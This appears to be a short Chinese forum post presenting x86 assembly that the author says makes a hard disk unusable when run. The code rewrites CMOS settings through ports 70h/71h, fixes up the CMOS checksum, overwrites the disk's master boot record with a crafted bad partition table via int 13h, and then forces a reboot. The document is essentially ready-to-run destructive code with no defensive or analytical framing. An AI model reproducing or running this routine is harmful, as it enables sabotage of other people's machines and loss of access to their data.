直接写端口简单 下面的代码只要运行 硬盘就无法使用了 不过修复也简单
hd_bad: xor ax,ax
mov ds,ax
mov bx,word ptr ds:[46ch]
mov al,11h
out 70h,al
mov al,0ffh
out 71h,al
mov al,1ch
out 70h,al
mov al,bl
out 71h,al
mov al,1dh
out 70h,al
mov al,bh
out 71h,al
mov cl,10h
xor dx,dx
lop_rom:
mov al,cl
out 70h,al
in al,71h
xor ah,ah
add dx,ax
inc cl
cmp cl,2eh
jnz lop_rom
mov al,2eh
out 70h,al
mov al,dh
out 71h,al
mov al,2fh
out 70h,al
mov al,dl
out 71h,al
mov ax,0301h
mov bx,offset BADDISK-1beh
add bx,bp
mov word ptr es:[bx],18cdh
push cs
pop es
mov cx,0001h
mov dx,0080h
int 13h
int 19h
BADDISK db 80h,00h,01h,00h,05h,3fh,7fh,96h
db 3fh,00h,00h,00h,01h,0ah,19h,00h
db 00h,00h,41h,97h,00h,3fh,0ffh,0fdh
db 40h,0ah,19h,00h,40h,0d6h,25h,00h
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 55h,0aah